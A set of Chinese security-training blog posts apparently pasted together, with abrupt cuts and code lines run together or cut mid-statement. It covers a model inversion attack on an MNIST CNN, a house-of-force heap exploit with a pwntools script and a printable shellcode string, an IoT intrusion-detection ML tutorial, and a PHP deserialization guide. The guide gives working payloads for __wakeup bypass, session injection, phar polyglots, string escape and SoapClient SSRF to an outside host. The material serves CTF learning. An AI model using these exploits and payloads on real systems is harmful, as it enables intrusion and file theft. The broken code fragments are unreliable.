最后让我们回到主题,既然实验是CTF练习题,那么我在这里就不多给出提示了,解题的本身就是一种乐趣,善于从实验名和描述中寻找线索。期待你们的精彩表现,率先做出来的也可以自己发布writeup或者解题视频,万一被官方看上说不定有小惊喜奖励呢!
下周我们同一时间见!
链接直达:https://www.yijinglab.com/expc.do?ec=ECIDaf8e-a5e6-4228-baf3-31302a5b2296
扫码直达:
模型逆向攻击实战
#前言
AI在生活中已经无处不在了,不论是高铁、机场的人脸识别还是指纹支付、语音助手等,都内置了AI技术。随着一项技术逐渐发展成熟,其安全风险就需要被考虑了。可能大家谈到AI安全的时候,最熟悉的就是对抗样本攻击,其本质是通过修改输入样本,来欺骗模型做出误分类的结果,这其实是属于模型安全领域。
事实上在谈及AI安全的时候,还有一个细分领域就是隐私安全,比如怎么保护数据不被泄露和模型逆向攻击。模型逆向攻击可以从模型中恢复出训练数据,如果此方案应用于人脸识别模型,恢复出人脸来,其危害是非常大的。
本文将会介绍模型逆向攻击的原理及其实现,并在基于MNIST训练的得到的CNN模型上进行攻击,最后成功复现,恢复出0~9的数字图像。此外,在文中代码复现部分,还会给出作者在复现论文算法时的一些经验,希望可以给大家带来启发。
#区分
除了模型逆向攻击以外,还有种攻击手段叫做模型提取攻击,看起来很相近,却是完全不同的两类攻击类型。
模型提取攻击是攻击者希望可以在本地恢复出目标模型,也就是说其攻击目的是窃取模型,我们知道大公司训练模型花了很大的资源的,不论是数据标注的人力成本还是训练模型花费的算力成本,大公司训练模型然后通过开放API查询接口,通过提供MLaaS来赚钱,如果攻击者能够窃取其模型,就是侵犯了其知识产权,影响其正常业务。攻击的示意图如下所示:
而模型逆向攻击是攻击者希望在不知道训练数据的情况下,通过推理得到训练数据,也就是说其攻击目的是为了得到隐私数据,可见两者区别是非常大的。
模型逆向攻击的效果如下所示:
这是Fredrikson等人做的实验结果,针对人脸识别系统,从其中恢复出训练数据集里的人人脸。上图中右边的图是通过攻击得到的人脸,右边的图是训练集中原来的人脸,可以看到,尽管存在一定差异,但是基本一致,说明该方案是可行的。我们就以Fredrikson等人为例,在理解了模型逆向攻击的原理后,根据论文中给出的算法进行复现,并针对MNIST数据集进行攻击。
#原理
我们要恢复的是训练集样本,而样本都是图像,图像是由像素组成的,其本质是由不同的像素强度组合起来得到的,所以我们要通过攻击得到训练集中的图像,本质上是要逆向的特征是构成图像的像素强度的完整向量,每个强度对应于 [0, 1] 范围内的浮点值。
我们假设攻击者知道他试图推断的向量中任何像素的确切值。假设具有n个分量和m个类别的特征向量,我们可以将分类器建模为以下函数:
我们知道模型的输出是一个概率值向量,其中第 i 个分量对应于特征向量属于第 i 类的概率。我们将输出的第i个分量记作:
我们使用梯度下降来最小化涉及f~的损失函数,以进行模型逆向攻击。梯度下降通过迭代地将候选解向候选解的梯度的负值进行变换,来找到可微函数的局部最小值。攻击算法如下所示:
首先根据面部识别模型定义一个损失函数c和一个特定于具体情况的函数AuxTerm,它会把任何可用的辅助信息添加到成本函数中,比如当我们在对面部去模糊时就会将其实例化。
接着使用大小为λ的梯度步长对最多α次迭代应用梯度下降。在梯度下降的每一步之后,得到的特征向量被提供给一个后处理函数 Process,它可以根据攻击的需要执行各种图像处理,例如去噪和锐化。
如果候选者的损失函数在β次迭代中未能提高,或者成本至少与γ一样大,则下降终止并返回最佳候选者,此时就得到通过模型逆向攻击恢复出的训练集样本。
该方案要求可以计算得到梯度,在我们下一部分复现的时候,对于梯度消失的情况我们的攻击就失效了。
#模型逆向攻击实战
##搭建模型
我们搭建一个标准的CNN模型:
并进行训练:
##模型逆向代码实现
前面说过,我们的代码是基于《Model Inversion Attacks that Exploit Confidence Information and Basic Countermeasures》实现的,文中提出的算法是针对人脸识别模型进行攻击的,但是对于会给出梯度的其他分类器模型也是可行的,我们就会在实现论文提出的算法后将其应用于MNIST数据集。
MIFace类中关键的方法是infer,其需要接受初始化样本,如果不指定则默认用全零的数组作为初始输入,代码如下:
上面代码中很多都是用于处理数据格式、转换等问题的,关键的部分在红圈里面:
其对应的就是我们在上一部分介绍的论文给出的算法实现:
如果没有论文复现经验的话,看到这里大概已经清楚论文给出的算法和实际实现的算法还是有一定出入的。最明显的区别是论文会抽象出最本质的算法思想,而具体编程语言细节、数据处理细节并不关心,自己在复现的时候就需要注意这些细节;其次,可能论文要处理的问题和我们复现者要处理的问题不同,所以在理解清楚核心算法后自己在实现时需要结合实际情况,不应该全部照搬。
以损失函数的定义为例(第2行),论文给出的损失函数还有一项是AUXTERM(x),根据论文介绍,这是一个case-specific的函数,也就是说在不同case下,具体实现是不同的,它会把可用的信息加入成本函数中,辅助攻击,但是作者在做人脸去模糊的时候才给出了该函数的一个实例。此外,文中也说明了,如果没有辅助信息可用,则应该对所有x,直接定义AUXTERM(x)=0。因此,我们在实现的时候,可以直接略去这一项。
接下来应用MIFace执行攻击
我们的攻击目标是希望恢复出训练集中的样本,我们知道MNIST数据集中共有10类,从0到9,我们希望每种类别都可以恢复出来
##攻击
不同的初始设置也会对攻击结果有影响,我们可以分别实验一下。
以全白的图像为初始样本开始发动攻击:
从上图的结果可以看到,可以看到在全白的图像上出现了gradient vanish的问题(即梯度消失问题),所以攻击是失败的。
再尝试以全黑的图像作为初始化样本:
有了前面的教训,我们这次先来打印梯度,确保没有梯度消失的情况:
然后发动攻击:
把结果可视化:
上面就是模型逆向攻击得到的图片,其实对于人类来说并没有明显的数字的特征。
那么我们不要取全黑,也不要全白,用居中的灰图作为初始样本:
同样先检查其梯度,确保没有梯度消失问题:
接下来发动攻击:
查看模型推理结果:
从上图的结果可以看到,从左到右,从上到下,隐约有0~4,5~9的轮廓了,说明攻击还是可行的。
我们再来看看以随机的图像作为初始样本会怎样:
首先检查其梯度,确保存在:
发动攻击:
可视化结果:
这次推理得到的结果也比较差,几乎看不出来0~9的样子。
全黑、全白、居中的灰图以及随机生成的样本都用作初始化了,其中灰图比较好。那么有没有更好的办法呢?
回顾下模型逆向攻击的假设,攻击者希望推理出训练集中的样本,但是他是知道测试集的样本的,我们前面的几次攻击都没有利用这一先验知识。那么我们可以考虑将测试集样本求个平均,然后作为模型逆向攻击的初始样本:
确保梯度存在:
发动攻击:
可视化模型逆向攻击的结果:
每张图片基本都可以看到对应类别数字的轮廓了,说明模型逆向攻击成功了。
通过这五组对比实验,给我们的启发是在进行攻击时,要时刻注意攻击的前提、场景以及对攻击者能力的假设,并利用好先验知识,这样能更好地实施攻击。
#参考
1.Model Inversion Attacks that Exploit Confidence Information and Basic Countermeasures
2.Algorithms that remember: model inversion attacks and data protection law
3.Improved Techniques for Model Inversion Attacks
4.Stealing Machine Learning Models via Prediction APIs
5.Model Extraction Attacks and Defenses on Cloud-Based Machine Learning Models
6.https://github.com/google-research/cryptanalytic-model-extraction
7.https://github.com/cake-lab/datafree-model-extraction
8.https://github.com/ftramer/Steal-ML
字符串shellcode在house of force中的运用
实验环境
https://www.yijinglab.com/cour.do?w=1&c=CCIDb18d-7cf9-4ba4-b75e-ed7aff569e3f背景介绍
1、 House of force是利用早期glibc库进行堆分配时存在的缺陷,从而对内存进行任意写的攻击方式。当初次申请堆块时,程序会映射一块较大的chunk作为top chunk,之后再进行申请时如果堆块较小,将从这个top chunk切分出合适的块,剩下的部分形成新的top chunk。而house of force就是利用了形成新top chunk时简单将原地址加上切分大小的缺陷,使得该top chunk被移动到任意位置,从而在下一次malloc时产生任意写的问题。
要利用这一漏洞,需要程序存在堆溢出问题,能够覆写top chunk的size段。同时,还要求能确定目标地址与堆地址的偏移量,以便于top chunk能移动至目标位置。
2、 字符串shellcode指的是由可见字符构成的shellcode。举例而言,字母‘P’对应的十六进制为0x50,翻译成汇编指令为push %rax。可以使用alpha3等工具生成自定义shellcode。
题目分析
程序只有二进制文件,这里为了讲解方便,编译时保留了调试信息。首先查看保护机制:
32位程序,存在可读可写可执行段,代码段固定加载到0x8048000,不能修改got表。
执行程序,大致观察程序流程:
程序首先要求用户输入name,然后会返回输出name相关信息。进入循环,当用户输入S时允许进一步产生三次输入,当用户输入L时程序退出。除一开始的name以外,程序并不会输出用户之前输入过的信息。
接下来IDA查看函数入口:
其中prepare函数如下:
其中welcome函数用于输出treehole的banner。anymore函数用于读入一个字符,判断是否需要退出程序。readstr函数如下:
注意到该函数存在两个注意点:红圈内a2用于给定最大输入字符个数,但其类型为unsigned int,因此当传入-1时能引发过量写入。蓝圈内对字符大小做了限定,只允许输入ASCII码在32~126内的可见字符。
confusename函数定义如下:
其对指定的字符串做了一系列异或运算。
接下来的strncpy将ninput开始的0x50个字符拷贝到name处。使用ojbdump可以看出,name和ninput相邻,当name填满后printf会继续向后输出ninput的值,该值恰是堆上某chunk的地址。因此当输入的name超过50字节后,程序会泄露堆地址。
main函数使用的ptr是指向anymore函数的指针,该指针在bss段,可以在接下来的步骤中被修改,从而劫持函数控制流。
主要输入函数pourout代码如下:
首先读入一个int整数(readint函数简单使用atoi,此处略去不表),然后申请这个数字+4(4用于存放后面输入的一个int)大小的块,并向这个块写入该大小指定的字符。然后读入一个int,并将它紧靠用户输入的字符串放入块中。
漏洞利用点就在于如果readint读入一个负数(如-1),将会申请到一个最小块,然后允许用户过量写入(前文提到,readstr的长度判断存在unsigned int的问题)。readint此处实现了对可见字符这一限定的绕过,从而等价于允许用户输入最多4字节的任意字符。
那么题目的思路便可以总结为:
1、 调整top chunk到ptr附近
2、 通过申请块时的readint,修改ptr为目标代码指针
3、 利用RWX的漏洞,事先写入字符串shellcode,在第2步中使用
如何调整top chunk呢?根据32位程序chunk的8字节对齐原则,只需要利用程序存在的-1任意写问题,即可产生堆溢出问题,修改top chunk的prev_size段,并使用readint来输入0xfffffff(即-1),程序如下:
io.sendline('S')io.sendlineafter('wanna say?', '-1')io.sendlineafter('secrets...','A'*12)io.sendlineafter('do you like?','-1')
则达到的效果为:
红圈内为用户申请到的chunk,可见其后的top chunk的size被修改为0xffffffff,则下一次申请时可以绕过对chunk大小的验证。
这里为什么一定要绕过这一验证呢?因为ptr位于bss段,其地址低于top chunk。当malloc一个块时,如果使用top chunk,会首先检查其大小是否合适,然后将top chunk的地址加上块的大小,来实现top chunk的移动。如果想让top chunk重定向到小地址,需要malloc一个负数,而负数在unsigned int翻译时会成为大正数,不再使用top chunk切分,而是直接在libc加载地址前使用mmap映射。如果将top chunk修改为0xffffffff,能使得chunk的分配采用切分top chunk的方式,从而将top chunk向低地址移动。
接下来可以再申请块,将大小设定为目标地址减去top chunk地址,实现top chunk的移动。这里可以将目标地址设定为ptr-0x10,则可以使得chunk head后直接readint输入shellcode地址即可实现修改ptr,劫持控制流。
# move top chunk to .bss sectionfunc_ptr = 0x804b090 -0x10target_addr = func_ptr - 4current_addr = heap_base + 0x278io.sendline('S')io.sendlineafter('wanna say?', str(target_addr-current_addr))io.sendlineafter('secrets...','B'*12)io.sendlineafter('do you like?','-1')
因此需要准备好shellcode。这里可以从网上搜索到32位程序的一条字符串shellcode:
PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIRJTKV8MIPR2FU86M3SLIZG2H6O43SX30586OCRCYBNLIM3QBKXDHS0C0EPVOE22IBNFO3CBH5P0WQCK9KQXMK0AA
直接正常输入即可。这里有两种放置方式,一种是放到ptr前,然后在当次填充中即可顺便修改ptr;一种是放到正常状态的堆里,然后再用一次malloc修改ptr。由于这里ptr在bss段的偏移是0x90,而shellcode长度147字节超过了0x90,所以采用了第一种方法。那么在第一次修改top chunk大小前,先填充这个shellcode即可。这也是之前的使用0x278的原因。
可见字符串shellcode如上所示。调整ptr到0x8eb61d0即可。(即heap_base+0x1d0)
运行脚本,最终攻击结果如下:
脚本完整代码如下。shellcode和调整top chunk的方法不唯一,这里只是列举其中一种情况。
from pwn import *from pwn import u32 io = process('./a.out')context.terminal = ['tmux','splitw','-h']# context.log_level = 'debug'# gdb.attach(io, 'b main')def leak_heap_base(): name = b'A'*100 io.sendlineafter('tell me your name:',name) raw = io.recvuntil('Enjoy') rawbase = raw[raw.fin
'PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIRJTKV8MIPR2FU86M3SLIZG2H6O43SX30586OCRCYBNLIM3QBKXDHS0C0EPVOE22IBNFO3CBH5P0WQCK9KQXMK0AA'shellcode_func = heap_base + 0x1d0io.sendline('')io.sendline('S')io.sendlineafter('wanna say?', str(len(shellcode)))io.sendlineafter('secrets...',shel
利用AI检测IoT恶意流量
#前言
目前大量物联网设备及云服务端直接暴露于互联网,这些设备和云服务端存在的漏洞(如:心脏滴血、破壳等漏洞)一旦被利用,可导致设备被控、用户隐私泄露、云服务端数据被窃取等安全风险,甚至会对基础通信网络造成严重影响。为了促进物联网领域的安全研究,研究人员制作了UNSW-NB15数据集,这是一个基于物联网的网络流量数据集,对正常活动和恶意攻击行为进行了不同的分类。本文将基于该数据集,应用AI领域的典型技术,包括决策树、随机森林、逻辑回归、多层感知器等进行检测,希望师傅们可以从中了解AI技术应用于安全领域的典型流程,包括数据预处理、数据转换、交叉验证等,同时提升对物联网安全的新的认识。
#数据集
本次用到的数据集是UNSW-NB15,这是一个基于物联网的网络流量数据集,由新南威尔士大学堪培拉网络靶场实验室的 IXIA PerfectStorm工具创建,用于生成真实现代正常活动和合成当代攻击行为的混合数据集。 它们使用tcpdump 工具捕获 100 GB 的原始流量(例如 Pcap 文件)。
该数据集有九种类型的攻击,即 Fuzzers、Analysis、Backdoors、DoS、Exploits、Generic、Reconnaissance、Shellcode 和 Worms,当然为了方便大家使用,已经做了整理,把特征、标签都统计到了csv文件里。
如果希望详细了解该数据集的信息的话,可以参考[2][3][4]论文
该数据集中的一部分被做为训练集和测试集,即 UNSW_NB15_training-set.csv 和 UNSW_NB15_testing-set.csv。训练集中的记录数为 175,341 条记录,测试集中的记录数为 82,332 条记录,分别来自不同攻击类型、恶意和正常数据。
#数据预处理
导入所需库文件
数据集中的数据包括9种攻击类型,分别是Fuzzers, Analysis, Backdoors, DoS, Exploits, Generic, Reconnaissance, Shellcode和Worms。在csv文件最后的一列是标签,0代表郑,1代表攻击
加载训练数据UNSW_NB15_training.csv,检查前5行
可以看到前5行的记录都是正常的
加载数据后我们首先检测是否存在缺失值
面对存在缺失值的情况,最简单的方法就是直接启用包含缺失值的整行和整列
然后看看数据是否平衡,一方面是看9种攻击类型是否平滑(y1指代这方面的标签),一方面是看正常和恶意的数据量是否平衡(y2指代这方面的标签)
结果如下
可以看到数据集并不平滑,不过并不严重,我们继续往下分析
本来是需要手动拆分训练集和测试集的,不过UNSW_NB15已经拆分好了,比率为7:3
训练集和测试集分别在UNSW_NB15_training-set.csv 和 UNSW_NB15_testing-set.csv
如果需要手动拆分的话,使用下面的代码就可以了
我们加载测试集供后续使用
#数据转换
接下来需要转换数据
首先需要确定哪些列是分类数据(categorical),哪些列是数值数据(numerical)(分类数据也叫qualitative data或是Yes/No data,是定性的,而数值数据是定量的)
分别将其打印
对于分类数据应用OneHotEncoder,将其编码为独热数值数组
对于数值数据应用StandardScaler,通过去除均值和缩放到单位方差来标准化
构造ColumnTransformer对象,在X_train上进行fit即可
每个transformer分别转换x,将结果拼接起来
对测试集也进行同样的处理
转换后的数据不再是dataframe结构,而是类似于数组的结构
我们同样还需要转换y1,y1中一共有9类
我们直接用LabelEncoder就可以了,其用于规范化标签,使处理对象仅包含0和类别数-1 之间的值
截止目前,数据部分已经处理完成了,接下来就是训练模型了
#交叉验证
我们训练模型后,会使用5折交叉验证(cross validation,CV)进行验证,评估模型的指标包括准确率、准确率、召回率、F1 分数、ROC 的 AUC 值;然后使用测试集评估模型看看效果如何
我们以逻辑回归分类器为例
查看交叉验证结果
因为是5折交叉验证,所以每个指标都有5组数据,基本上我们会使用平均值来衡量校验验证的评估结果
比如打印出平均的准确率
#模型测试
在测试集上进行测试
结果如下
precision是精确率,也称作查全率,等于tp/(tp+fp);这是针对我们预测结果而言的,它表示的是预测为正的样本中有多少是真正的正样本
recall是查准率,也称召回率,等于tp/(tp+fn);这是针对我们原来的样本而言的,它表示的是样本中的正例有多少被预测正确了
从计算公式可以看出,其实就是分母不同,一个分母是预测为正的样本数,另一个是原来样本中所有的正样本数
如果看单个指标都过于片面,可以通过f1分数来评估模型性能,f1是recall和precision的加权平均,在上面可以看到在0.64左右
#其他机器学习方法
在sklearn已经实现了很多机器学习模型,我们只需要一条代码就可以换模型,除了逻辑回归之外,还可以试试决策树和随机森林
打印出模型的超参数
然后重复之前的步骤,来看看结果如何
可以看到,随机森林的效果是相对而言比较好的
#多层感知器
以上三个分类器都属于传统的机器学习方法,那么接着我们试试MLP,这是一种前向结构的神经网络。
结果如下
把这四种分类器放在一起看看哪种效果更好
可以看到随机森林的效果还是最好的。这也给我们一个提示,虽然现在深度学习、神经网络
是AI的最火热的技术,但是这并不意味着在所有任务上都是万能的,它们更大的优势是在处理海量数据、复杂任务上,对于一些基础的任务,可能传统的机器学习方法会有更好的效果。
相关实验:https://www.yijinglab.com/expc.do?ec=ECID4bd7-5a7d-4ee5-9ecd-1b35a7abfd92
#参考
1.https://www.unsw.adfa.edu.au/unsw-canberra-cyber/cybersecurity/ADFA-NB15-Datasets/
2.UNSW-NB15: a comprehensive data set for network intrusion detection systems (UNSW-NB15 network data set).
3.The evaluation of Network Anomaly Detection Systems: Statistical analysis of the UNSW-NB15 dataset and the comparison with the KDD99 dataset
4.Novel geometric area analysis technique for anomaly detection using trapezoidal area estimation on large-scale networks
5.http://www.caict.ac.cn/kxyj/qwfb/bps/201809/P020180919390470911802.pdf
6.《机器学习》
反序列化漏洞利用总结
反序列化无论在CTF比赛中,抑或是实战渗透中都起着重要作用,而这一直都是我的弱项之一,所以写一篇反序列化利用总结来深入学习一下
<!-- more -->
简单介绍
(反)序列化只是给我们传递对象提供了一种简单的方法。
serialize()将一个对象转换成一个字符串
unserialize()将字符串还原为一个对象
在本质上,反序列化的数据是没有危害的,但是当反序列化数据是用户可控时,这时就会产生一些预期外的结果,也就可能存在危害
因此,反序列化的危害,关键在于可控或不可控,而我们找反序列化漏洞时,数据的可控与不可控也是一处着力点
在本文,不会着重讨论反序列化漏洞的形成原理,这已经被其他师傅讲得很透彻了,我在这里只是稍微总结一下思路,仅此而已
漏洞成因即利用思路
才疏学浅,若有错误,多加包涵
Magic function
Magic function,即我们常说的魔术方法,我们的反序列化漏洞也常常与这些相挂钩
__construct():构造函数,当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。
__destruct():析构函数,类似于C++。会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行,当对象被销毁时会自动调用。
__wakeup():如前所提,unserialize()时会检查是否存在 __wakeup(),如果存在,则会优先调用 __wakeup()方法。
__toString():用于处理一个类被当成字符串时应怎样回应,因此当一个对象被当作一个字符串时就会调用。
__sleep():用于提交未提交的数据,或类似的清理操作,因此当一个对象被序列化的时候被调用。
利用方式
__wakeup()
对应的CVE编号:CVE-2016-7124
存在的php版本: PHP5.6.25之前版本和7.0.10之前的7.x版本
漏洞成因:当对象的属性(变量)数大于实际的个数时,__wakeup可以被被绕过
demo
<?php
highlight_file(__FILE__);
error_reporting(0);
class convent{
var $warn = "No hacker.";
function __destruct(){
eval($this->warn);
}
function __wakeup(){
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
}
}
$cmd = $_POST[cmd];
unserialize($cmd);
?>
这边的 __wakeup是事件型的,如果没遇到unserialize就永远不会触发了,所以我们得先搞清楚先执行哪个方法,再执行哪个方法。
在这里,经过测试,我们可以得出__wakeup优先级高于 __destruct()
因为遇到了unserialize得先执行 __wakeup里面的内容,才能跑到我们想要的 __destruct()里面,所以得绕过这个 __wakeup
怎么绕过?
只要对象的属性(变量)数大于实际的个数时,__wakeup就可以被被绕过
<?php
class convent{
var $warn = "phpinfo();";
function __destruct(){
}
}
$a = new convent();
$b = serialize($a);
print_r($b);//O:7:"convent":1:{s:4:"warn";s:10:"phpinfo();";}
?>
然后更改变量数即可
O:7:"convent":1:{s:4:"warn";s:10:"phpinfo();";} >> O:7:"convent":2:{s:4:"warn";s:10:"phpinfo();";}
存在多个魔法方法时,要弄清哪个魔法方法的优先级高
PHP session反序列化
这在我之前一篇https://mp.weixin.qq.com/s/EY5ZUA-FcjBdiSivCh1qpQ其实已经介绍得差不多了
漏洞成因:其主要原理就是利用序列化的引擎和反序列化的引擎不一致时,引擎之间的差异产生序列化注入漏洞
demo
在之前的高校战疫中考查过, 利用的就是php session的序列化机制差异导致的注入漏洞
相关题目: http://web.jarvisoj.com:32784/
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>
仔细看了一遍发现题目没有入口,注意到有ini_set('session.serialize_handler', 'php')存在,猜测是否为session反序列化漏洞
看一下phpinfo
local value(当前目录,会覆盖master value内容):phpmaster value(主目录,php.ini里面的内容):php_serialize
这就很明显存在session反序列化漏洞了
当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据,索引是 session.upload_progress.prefix 与 session.upload_progress.name 连接在一起的值。
所以可以通过Session Upload Progress来设置session
允许上传且结束后不清除数据,这样更有利于利用
我们在html网页源码上加入以下代码
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>
接下来就是考虑怎么利用了,我们可以利用反序列化数据可控来达成我们的目的
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
class OowoO
{
public $mdzz='print_r(scandir(dirname(__FILE__)));';
}
$obj = new OowoO();
echo serialize($obj);//O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}
?>
为了防止被转义,我们在双引号前加上反斜杠\
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}
抓包上传,将filename改成我们的payload(要INI中设置的session.upload_progress.name同名变量)
这样我们就可以看到当前目录的文件了,再去phpinfo中查看当前目录
更改payload,利用print_r来读取目标文件
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}
phar 反序列化
phar在网上已经有很多解释了,这里就不过多赘述,简单来说phar就是php压缩文档,不经过解压就能被 php 访问并执行
前提条件
php.ini中设置为phar.readonly=Off
php version>=5.3.0
漏洞成因:phar存储的meta-data信息以序列化方式存储,当文件操作函数(file_exists()、is_dir()等)通过phar://伪协议解析phar文件时就会将数据反序列化,并且可以不依赖unserialize()直接进行反序列化操作。
demo
根据文件结构我们来自己构建一个phar文件,php内置了一个Phar类来处理相关操作
<?php
class User{
var $name;
function __destruct(){
echo "Blackwatch";
}
}
@unlink("test.phar");
$phar = new Phar("test.phar");//后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");//设置stub
$o = new User();
$o->name = "test";
$phar->setMetadata($o);//将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "Blackwatch");//添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
可以很明显看到我们的manifest(也就是meta-data)是以序列号形式存储的
在上面的demo中我们可以看到,当文件系统函数的参数可控时,我们可以在不调用unserialize()的情况下进行反序列化操作,其他函数也是可以的
phar反序列化可以利用的函数
phar文件伪造
因为php对phar文件的识别是通过文件头stub来识别的,更准确的说是__HALT_COMPILER();?>这段代码,对于前面的内容和后缀名是没有要求的,我们可以利用这个特性将phar伪装成其他文件进行上传
phar 文件能够上传
文件操作函数参数可控, : ,/ phar 等特殊字符没有被过滤
有可用的魔术方法作为”跳板”
$phar->setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>");
例题:SWPUCTF2018 SimplePHP
bypass phar:// 不能出现在首部
这时我们我们可以利用compress.zlib:// 或compress.bzip2://函数,compress.zlib://和compress.bzip2://同样适用于phar://
payload
compress.zlib://phar://phar.phar/test.txt
例题:巅峰极客 2020 babyphp2
字符逃逸
PHP 在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为结尾(字符串除外),并且是根据长度判断内容的 .
当长度不对应的时候会出现报错
可以反序列化类中不存在的元素
漏洞成因:利用序列化后的数据经过过滤后出现字符变多或变少,导致字符串逃逸
字符串变多
[0CTF 2016]piapiapia
扫描目录发现有http://WWW.ZIP泄露,下载后用Seay源码审计一下
而我们对源码全局搜索时发现,只有config.php存在flag字段的内容,因此可以分析我们的初步思路
因为在profile.php 中: 存在文件操作函数file_get_contents()以及可控的参数 photo ,如果photo 为config.php 就能读取到flag
profile.php
update.php
class.php
我们可以看到这里的正则过滤掉了where(5)替换成了hacker(6)
在update.php 中对数组profile 进行序列化储存后,在profile.php 进行反序列化
我们注册后来抓个包,发现数组中元素的传递nickname也是位于photo之前的,所以我们可以想办法让nickname足够长,把upload那部分字段给”挤出去”
这就是反序列化长度变化尾部字符串逃逸
我们的目标是使photo字段的内容为config.php所以我们要的序列化数据闭合应为:";}s:5:"photo";s:10:"config.php";},34个字符
我们的目的是将";}s:5:"photo";s:10:"config.php";}插入序列化的字符串里面去,这个的长度为34,所以我们要挤出来34位,不然就成了nickname的值了
where(5)会替换成hacker(6),长度加1,所以我们要构造34个where
";} 是为了闭合nickname部分,而后面这部分s:5:"photo";s:10:"config.php";} ,就单独成为了 photo 的部分( 尾部字符串逃逸 ),到达效果
使用数组绕过nickname长度限制
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
发包后在/profile.php 页面复制头像的地址,进行base64decode得到flag
字符串变少
也有师傅称之为对象逃逸
俺没对象所以不用这个名称
原理与上者差不多,是经过序列化-->敏感字替换为空(长度变短)-->反序列化的过程之后再输出结果
直接看题
[安洵杯 2019]easy_serialize_php
源码如下
<?php$function = @$_GET['f'];function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g'); $filter = '/'.implode('|',$filter_arr).'/i'; return preg_replace($filter,'',$img);}if($_SESSION){ unset($_SESSION);}$_SESSION["user"] = 'guest';$_SESSION['function'] = $function;extract($_POST
根据提示我们可以在phpinfo中看到flag 在 d0g3_f1ag.php 这个文件中,直接读取是不行的
$_SESSION 数组中有 user, funciton, img 这三个属性
img的值我们是控制不了的,进而无法读取到目标文件
我们把注意力转移到函数serialize上,这里有一个很明显的漏洞点,数据经过序列化了之后又经过了一层过滤函数,而这层过滤函数会干扰序列化后的数据
而且extract($_POST)存在变量覆盖漏洞
所以我们可以在这上面做文章
这儿需要两个连续的键值对,由第一个的值覆盖第二个的键,这样第二个值就逃逸出去,单独作为一个键值对
当我们令_SESSION[user]为flagflagflagflagflagflag时,正常情况下序列化后的数据是这样的:正常情况下,序列化后的数据应为
a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}
但是因为过滤的原因,会变成这样
a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}
可以看到,user的内容已经变为空,但是长度还是24,那么反序列化时就会自动往后读取24位,会读取到";s:8:"function";s:59:"a
";s:8:"function";s:59:"a其长度为24,作为一个整体成了user的值
因为php反序列化时,当一整段内容反序列化结束后,后面的非法字符将会被忽略,而我们可以看到这是以{作为序列化内容的起点,}作为序列化内容的终点
后面";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}这部分被舍弃
因此我们可以控制$userinfo["img"]的值,达到任意文件读取的效果
所以payload为
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}&function=show_image
读取完d0g3_f1ag.php后,得到下一个hint,获取到flag文件名
Pop chain
严格来说,这更多像一种方法,就像玩乐高一样把一个个魔术方法串联起来,POP CHAIN 更多的是在类之间,方法之间的调用上,由于方法的参数可控存在危险函数,导致了漏洞,,实也是在代码逻辑上出现的问题
在编写Pop 链的exp的时候,,类的框架几乎不变,只需要做一些修改
pop chain的构造这里就不展开讨论了,毕竟这点位置来讲还不如去看一下github上师傅们挖出来的链实在,后面有机会可以写一下反序列化链构造的思路
SoapClient
SoapClient 类搭配CRLF注入可以实现SSRF, 在本地生成payload的时候,需要修改php.ini 中的 ;extension soap 将注释删掉即可
漏洞成因:因为SoapClient 类会调用 __call 方法,当执行一个不存在的方法时,被调用,从而实现ssrf
exp
<?php$a = new SoapClient(null,array('location'=>'http://47.xxx.xxx.72:2333/aaa', 'uri'=>'http://47.xxx.xxx.72:2333'));$b = serialize($a);echo $b;$c = unserialize($b);$c->a(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf?>
LCTF 2018 bestphp's revenge
exp
import requestsimport reurl = "http://7c3ee1c8-bf16-4e25-bd02-db385135a819.node4.buuoj.cn/"payload = '|O:10:"SoapClient":3:{s:3:"uri";s:3:"123";s:8:"location";s:25:"http://127.0.0.1/flag.php";s:13:"_soap_version";i:1;}'r = requests.session()data = {'serialize_handler': 'php_serialize'}res = r.post(u
Exception
